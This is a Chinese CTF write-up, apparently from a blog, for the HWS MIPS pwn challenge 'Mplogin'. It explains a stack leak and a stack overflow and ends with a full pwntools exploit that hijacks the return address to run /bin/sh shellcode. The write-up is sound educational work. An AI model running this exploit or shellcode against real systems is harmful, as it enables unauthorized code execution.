当前位置: 首页 > news >正文

HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:
  2. 栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存
  3. libc地址:
  4. BSS段地址:
    劫持程序执行流程:[[MIPS_ROP]]
    获得shell或flag:MIPS_Shellcode

题目类型:
MIPS_Pwn

相关知识点:

strncmp的利用
MIPS 与 x86 函数栈帧的开辟和恢复对比

信息收集总结

题目信息:

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ file Mplogin  
Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ checksec --file=Mplogin 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols      No      0  3Mplogin

libc版本:
wp借鉴:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
mips pwn入门指北 | waddle’s blog (mikokuma.github.io)
异构 Pwn 之 Mips32 | 狼目安全 (lmboke.com)
MIPS PWN 入门 – itewqq’s blog
MIPS PWN学习 - 先知社区 (aliyun.com)

程序运行回馈

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel -L ./ Mplogin 
-----we1c0me t0 MP l0g1n s7stem-----
Username : 123456                                                                                                   ┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ tree -N -L 2              
.
├── lib
│   ├── ld-uClibc.so.0
│   └── libc.so.0
└── Mplogin2 directories, 3 files
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin]
└─$ qemu-mipsel  -L ./ Mplogin  | hexdump -C
00000000  1b 5b 33 33 6d 2d 2d 2d  2d 2d 77 65 31 63 30 6d  |.[33m-----we1c0m|
00000010  65 20 74 30 20 4d 50 20  6c 30 67 31 6e 20 73 37  |e t0 MP l0g1n s7|
00000020  73 74 65 6d 2d 2d 2d 2d  2d 0a 1b 5b 33 34 6d 55  |stem-----..[34mU|
adminaaaaaaaaaaaaaaaaaa
00000030  73 65 72 6e 61 6d 65 20  3a 20 43 6f 72 72 65 63  |sername : Correc|
00000040  74 20 6e 61 6d 65 20 3a  20 61 64 6d 69 6e 61 61  |t name : adminaa|
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000060  0a b0 ae 2a 2b 90 0b 40  1b 5b 33 31 6d 50 72 65  |...*+..@.[31mPre|
accessaaaaaaaaaaaaaaa
00000070  5f 50 61 73 73 77 6f 72  64 20 3a 20 50 61 73 73  |_Password : Pass|
012345678911111111111111111111111111111
qemu: uncaught target signal 10 (Bus error) - core dumped
00000080  77 6f 72 64 20 3a 20 43  6f 72 72 65 63 74 20 70  |word : Correct p|
00000090  61 73 73 77 6f 72 64 20  3a 20 2a 2a 2a 2a 2a 2a  |assword : ******|
000000a0  2a 2a 2a 2a 0a                                    |****.|
000000a5
zsh: bus error  qemu-mipsel -L ./ Mplogin | 
zsh: done       hexdump -C

核心伪代码分析:

存在利用的的代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // $a2int len; // [sp+18h] [+18h]setbuf(stdin, 0, envp);setbuf(stdout, 0, v3);printf("\x1B[33m");puts("-----we1c0me t0 MP l0g1n s7stem-----");len = checkuser();checkpassword(len);printf("\x1B[32m");return puts("Now you getshell~");
}
int checkuser()
{char user[24]; // [sp+18h] [+18h] BYREFmemset(user, 0, sizeof(user));printf("\x1B[34m");printf("Username : ");read(0, user, 24);if ( strncmp(user, "admin", 5) )exit(0);printf("Correct name : %s", user);return strlen(user);
}

由于没有处理输入结尾,并可以填满栈上的缓冲区,导致再次打印时,栈上的数据会被泄露!

成功泄漏出栈上地址!

int __fastcall sub_400978(int len)
{char buf[20]; // [sp+18h] [+18h] BYREFint len1; // [sp+2Ch] [+2Ch]char pass[36]; // [sp+3Ch] [+3Ch] BYREFlen1 = len + 4;printf("\x1B[31m");printf("Pre_Password : ");read(0, buf, 36);printf("Password : ");read(0, pass, len1);if ( strncmp(buf, "access", 6) || strncmp(pass, "0123456789", 10) )exit(0);return puts("Correct password : **********");
}

这个函数首先可以输入溢出覆盖v3这个变量,再次输入时由v3变量控制长度导致栈溢出

MIPS 的开辟和恢复栈帧:

.text:00400A2C 03 C0 E8 25                 move    $sp, $fp
# 将帧指针 $fp 的值恢复到栈指针 $sp,撤销函数调用时对栈的修改,恢复函数调用前的栈状态。.text:00400A30 8F BF 00 7C                 lw      $ra, 0x58+var_s24($sp)
# 从栈中偏移 0x7C 的位置恢复返回地址寄存器 $ra,这个值是在函数进入时保存的,用于返回到调用函数。.text:00400A34 8F BE 00 78                 lw      $fp, 0x58+var_s20($sp)
# 从栈中偏移 0x78 的位置恢复帧指针 $fp,这个值是函数调用之前的帧指针,恢复之前的栈帧结构。.text:00400A38 8F B7 00 74                 lw      $s7, 0x58+var_s1C($sp)
# 从栈中偏移 0x74 的位置恢复保存的寄存器 $s7 的值。.text:00400A3C 8F B6 00 70                 lw      $s6, 0x58+var_s18($sp)
# 从栈中偏移 0x70 的位置恢复保存的寄存器 $s6 的值。.text:00400A40 8F B5 00 6C                 lw      $s5, 0x58+var_s14($sp)
# 从栈中偏移 0x6C 的位置恢复保存的寄存器 $s5 的值。.text:00400A44 8F B4 00 68                 lw      $s4, 0x58+var_s10($sp)
# 从栈中偏移 0x68 的位置恢复保存的寄存器 $s4 的值。.text:00400A48 8F B3 00 64                 lw      $s3, 0x58+var_sC($sp)
# 从栈中偏移 0x64 的位置恢复保存的寄存器 $s3 的值。.text:00400A4C 8F B2 00 60                 lw      $s2, 0x58+var_s8($sp)
# 从栈中偏移 0x60 的位置恢复保存的寄存器 $s2 的值。.text:00400A50 8F B1 00 5C                 lw      $s1, 0x58+var_s4($sp)
# 从栈中偏移 0x5C 的位置恢复保存的寄存器 $s1 的值。.text:00400A54 8F B0 00 58                 lw      $s0, 0x58+var_s0($sp)
# 从栈中偏移 0x58 的位置恢复保存的寄存器 $s0 的值。.........text:00400A58 27 BD 00 80                 addiu   $sp, $sp, 0x80
# 恢复栈指针 $sp,撤销函数调用时分配的栈空间(即加回 0x80 字节)。.text:00400A5C 03 E0 00 08                 jr      $ra
# 跳转到 $ra 保存的返回地址,结束当前函数并返回到调用函数。.text:00400A60 00 00 00 00                 nop
# 无操作(NOP),这是一个占位指令,通常用来避免延迟槽问题。

发现栈地址是可以执行可读写的:

攻击思路总结

在输入user时候,输入admin时候就可以通过验证,由于字符串对比是使用strncmp函数对比所以可以通过输入超过adminaaaaaa既可以验证成功又可以连带输出栈上的地址,获得栈上地址后!就可以劫持返回地址并且再栈上写入shellocde这样就可以成功执行了

脚本:

import argparse
from pwn import *
from LibcSearcher import *# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()pwnfile = './Mplogin'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')is_remote = args.r
is_debug = args.dif is_remote:sh = remote('node5.buuoj.cn', 26456)
else:if is_debug:sh = process(["qemu-mipsel", "-L", "./", "-g", "1234", pwnfile])else:sh = process(["qemu-mipsel", "-L", "./", pwnfile])def mygdb():if not is_remote and is_debug:gdb.attach(sh, """target remote localhost:1234b *0x4008C8""")  # brva 0xe93
mygdb()
# leak stack(old fp)
sh.sendafter("name : ",'admin'.ljust(0x18,'a'))
sh.recvuntil("Correct name : ");
sh.recv(0x18)
stack = u32(sh.recv(4))# stack overflow
sh.sendafter("Pre_Password : ",b"access".ljust(0x14,b'2')+p32(0x100))
sh.sendafter("Password : ",b"0123456789".ljust(0x28,b"2")+p32(stack)+asm(shellcraft.sh()))sh.interactive()

相关文章:

HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)

解题所涉知识点: 泄露或修改内存数据: 堆地址:栈地址:栈上数据的连带输出(Stack Leak) && Stack溢出覆盖内存libc地址:BSS段地址: 劫持程序执行流程:[[MIPS_ROP]] 获得shell或flag&am…...

纯血鸿蒙启动公测,爱加密鸿蒙加固平台发布,助力鸿蒙应用安全运营!

鸿蒙系统打破了移动操作系统两极格局,实现操作系统核心技术的自主可控、安全可靠,在神州大地上掀起一波科技革新的浪潮,HarmonyOS NEXT成为大型企业必须要布局的应用系统之一。 HarmonyOS NEXT于10月8日正式开启公测,距离面向全体…...

MySQL中 truncate、drop和delete的区别

MySQL中 truncate、drop和delete区别 truncate 执行速度快,删除所有数据,但是保留表结构不记录日志事务不安全,不能回滚可重置自增主键计数器 drop 执行速度较快,删除整张表数据和结构不记录日志事务不安全,不能回…...

什么开放式耳机值得买?开放式耳机推荐排行榜!

长时间佩戴传统入耳式耳机有时可能会影响耳道健康,鉴于此,转而选择不入耳设计的开放式耳机就成了不少人的新倾向,它们有助于减少细菌滋生和耳道闷热的烦恼。为了帮助大家找到合适的选项,下面我将列举一些市面上口碑不错的开放式耳…...

Apache Doris的分区与分桶详解

目录 第一章 Doris介绍和分区分桶作用 1.1 Doris背景介绍 1.2 分区与分桶的意义 第二章 原理解析 2.1 分区机制 2.1.1 定义 2.1.2 类型 2.1.3 工作原理 2.2 分桶机制 2.2.1 概念 2.2.2 实现方式 2.2.3 与分区的关系 第三章 手动分区与自动分区对比 3.1 手动分区 …...

docker详解介绍+基础操作 (二)info详解

1 docker相关信息和优化配置 1)查看docker版本详解 rootzz:~# docker version Client: Docker Engine - CommunityVersion: 27.3.1API version: 1.47Go version: go1.22.7Git commit: ce12230Built: Fri Sep 20 11:40:…...

C0023.在Clion中创建控件,对控件进行提升为自定义控件的步骤

新建Ui界面文件 修改新生成的ui文件头文件 关闭之前打开的ui文件,如上图Qt Designer中打开的,然后修改新生成的ui文件对应的头文件,改成自己需要的控件类即可。 提升控件为自定义类 将如下头文件中的类名和头文件名输入到提升窗口中&#…...

探索 C# 常用第三方库与框架

在 C# 开发中,第三方库和框架极大地提高了开发效率和代码质量。通过这些库,开发者可以快速处理 JSON 数据、简化对象映射、记录日志、以及高效地与数据库交互。本文将介绍四个常用的 C# 第三方库:Newtonsoft.Json、AutoMapper、NLog/Serilog …...

NodeJS GRPC简单的例子

1. 定义 .proto 文件 首先,创建一个 .proto 文件,定义服务和消息: syntax "proto3";package helloworld;service Greeter {rpc SayHello (HelloRequest) returns (HelloReply) {}rpc SayHelloAgain (HelloRequest) returns (Hel…...

无人机之三维航迹规划篇

一、基本原理 飞行环境建模:在三维航迹规划中,首先需要对飞行环境进行建模。这包括对地形、障碍物、气象等因素进行准确的测量和分析,以获得可行的飞行路径。 飞行任务需求分析:根据无人机的任务需求,确定航迹规划的…...

风格迁移-StyTr 2 : Image Style Transfer with Transformers

风格迁移-StyTr 2 : Image Style Transfer with Transformers 论文链接:Image Style Transfer with Transformers 源码链接:StyTR-2 文章目录 风格迁移-StyTr 2 : Image Style Transfer with TransformersStyTR架构图图像内容编码器内容感知位置编码&…...

上百种【基于YOLOv8/v10/v11的目标检测系统】目录(python+pyside6界面+系统源码+可训练的数据集+也完成的训练模型)

待更新(持续更新),早关注,不迷路............................................................................... 目标检测系统操作说明【用户使用指南】(pythonpyside6界面系统源码可训练的数据集也完成的训练模型&#xff…...

记录搜罗到的Matlab 对散点进行椭圆拟合

需要基于一些散点拟合椭圆估计并计算出椭圆的参数和周长,搜罗到直接上代码 (1)有用的椭圆拟合及参数计算函数 function W fitellipse(x,y) % 构造矩阵 D [x.*x, x.*y, y.*y, x, y,ones(size(x))]; S D*D; G zeros(6); G(1,3) 2; G(3,1)…...

分享我最近使用《柬埔寨语翻译通》App的体验,不会说高棉语也能去柬埔寨旅游,畅通无阻!

最近,我尝试了一款名为《柬埔寨语翻译通》的应用程序,它旨在帮助用户进行中文和高棉语之间的翻译。以下是我使用这款应用的一些体验和感受。 双向翻译功能:我首先测试了它的翻译功能。《柬埔寨语翻译通》能够将中文翻译成高棉语,反…...

文本语义检索系统的搭建过程,涵盖了召回、排序以及Milvus召回系统、短视频推荐等相关内容

大家好,我是微学AI,今天给大家介绍一下本文详细介绍了文本语义检索系统的搭建过程,涵盖了召回、排序以及Milvus召回系统的相关内容。通过使用PyTorch框架,我们提供了样例代码,以帮助读者更好地理解和实践。该系统具有广…...

redis在项目中运用(基础)

mysql学完命令之后&#xff0c;学过jdbc。 redis也要使用Java连接redis数据库 1.Jedis 2.RedisTemplate[重点] 1、Jedis【了解】 jedis是redis的java版本的客户端实现&#xff0c;jedis中提供了针对redis命令的操作 1.1导入jar文件 Maven方式 <dependency><group…...

libaom 源码分析系列:svc_encoder_rtc.cc 文件

源码函数关系 文件功能:实现 AV1 svc 编码的 RTC 功能 demo文件位置:libaom/examples/svc_encoder_rtc.cc文件内函数关系图: 结构体 AppInput:svc_encoder_rtc.cc 所属 demo 的结构体,作为从命令行接受参数的结构体;AvxVideoWriter:输出视频写入结构体;aom_codec_enc_c…...

MySQL备份和还原,用mysqldump、mysql和source命令来完成

MySQL备份和还原,都是利用mysqldump、mysql和source命令来完成的。 mysqldump命令使用方法 1运行 | cmd |利用 cd C:\Program Files\MySQL\MySQL Server 9.0\bin”命令进入bin文件夹 2输入命令 mysqldump -h127.0.0.1 -P3306 -uroot -pQWERTY zssjkcf>d:123.sql mysqldump -…...

MySQL Server、HeidiSQL(MySQL 数据库工具)

目录 一、MySQL Server &#xff08;一&#xff09;官网下载 &#xff08;二&#xff09;安装与配置 二、HeidiSQL软件 &#xff08;一&#xff09;安装 1. 官网下载 2. 打开 3. 使用 &#xff08;1&#xff09;打开服务 &#xff08;2&#xff09;新增数据库 ​&#xff…...

矩阵相关算法

矩阵旋转90度 给定一个 n n 的二维矩阵 matrix 表示一个图像&#xff0c;请你将图像顺时针旋转 90 度。 #include <iostream> #include <vector>using namespace std;void rotate(vector<vector<int>>& matrix) {int n matrix.size();// 第一步…...

微信小程序-封装通用模块

文章目录 微信小程序-封装通用模块封装toast和modal封装storage封装网络请求 微信小程序-封装通用模块 封装toast和modal /** 提示消息框 */ function toast({title "数据加载中",icon "none",duration 2000,mask true, }) {wx.showToast({title,ico…...

Modnet 人像抠图(论文复现)

Modnet 人像抠图&#xff08;论文复现&#xff09; 本文所涉及所有资源均在传知代码平台可获取 文章目录 Modnet 人像抠图&#xff08;论文复现&#xff09;论文概述论文方法复现WebUI部署 论文概述 人像抠图(Portrait matting)旨在预测一个精确的 alpha 抠图&#xff0c;可以用…...

利用session机制造测试账号,无需前端也可以测试后端接口

适用场景&#xff1a;我们在测试的时候经常会遇到前端还没有开发完毕&#xff0c;后端已经结束开发了&#xff0c;但是后端的有些接口是需要特定的账号身份调用才会生效&#xff0c;此时因为前端未开发完毕&#xff0c;所以我们不能通过web页面进行登录&#xff0c;那么如何解决…...

JAVA_18

JAVA_18 1.IO流2.JAVA_IO流3.标准输入输出4.对象序列化5.字符编码与字符集6.异常处理和资源关闭 1.IO流 IO流(Input/Output stream)是用于在程序和外部设备(如文件、网络等)之间进行数据传输的机制。它是Java中处理输入和输出操作的一种抽象方式。概念: 输入流(Input Stream):…...

Linux升级openssl版本

Linux升级openssl版本 服务器编译依赖库检查 $ yum -y install gcc gcc-c make libtool zlib zlib-devel版本检测 $ openssl version OpenSSL 1.0.1e-fips 11 Feb 2013 $ ssh -V OpenSSH_6.6.1p1, OpenSSL 1.0.1e-fips 11 Feb 2013下载openssl 地址&#xff1a;https://www.o…...

多态对象的存储方案小结

某个类型有几种不同的子类&#xff0c;Jackson中的JsonTypeInfo 和JsonSubTypes可以应对这种情形&#xff0c;但有点麻烦&#xff0c;并且name属性必须是字符串、必须用Jackson为基础的json工具类对json字符串和对象进行序列化和反序列化。用过一次这种方案后边就不想再用了。 …...

Linux 之 nano 编辑器

使用git提交的时候&#xff0c;发生冲突或要记录相关信息时会弹出nano这个编辑器。 nano [选项] [[行,列] 文件名]... nano[必要参数][选择参数][文件] 命令行白的部分是组合键&#xff0c;后面的则是该组合键的功能。指数符号(^)代表的是键盘的[ctrl]按键&#xff0c;(M)表示…...

zipkin启动脚本并指定mysql数据存储

#!/bin/bash# 配置部分 ############################################################## Zipkin JAR 文件的名称 # 这里指定了 Zipkin 的可执行 JAR 文件&#xff0c;确保该文件在当前目录中可用。 ZIPKIN_JAR"zipkin-server-2.23.2-exec.jar"# PID 文件的位置 # 该…...

超越GPT-4的视觉与文本理解能力,开源多模态模型领跑者 - Molmo

Molmo是由艾伦人工智能研究所&#xff08;Ai2&#xff09;发布的一系列多模态人工智能模型&#xff0c;旨在提高开放系统在性能上与专有系统&#xff08;如商业模型&#xff09;之间的竞争力。以下是对Molmo的详细总结&#xff1a; Molmo是什么&#xff1a; Molmo是基于Qwen2和…...

输入输出--I/O流【C++提升】()

1.1基础知识&#xff1a; 在C中&#xff0c;输入输出&#xff08;IO&#xff09;流是通过标准库中的 <iostream> 头文件来处理的。C 提供了几种基本的输入输出流类&#xff0c;最常用的有以下几种&#xff1a; std::cin&#xff1a;用于输入。std::cout&#xff1a;用于…...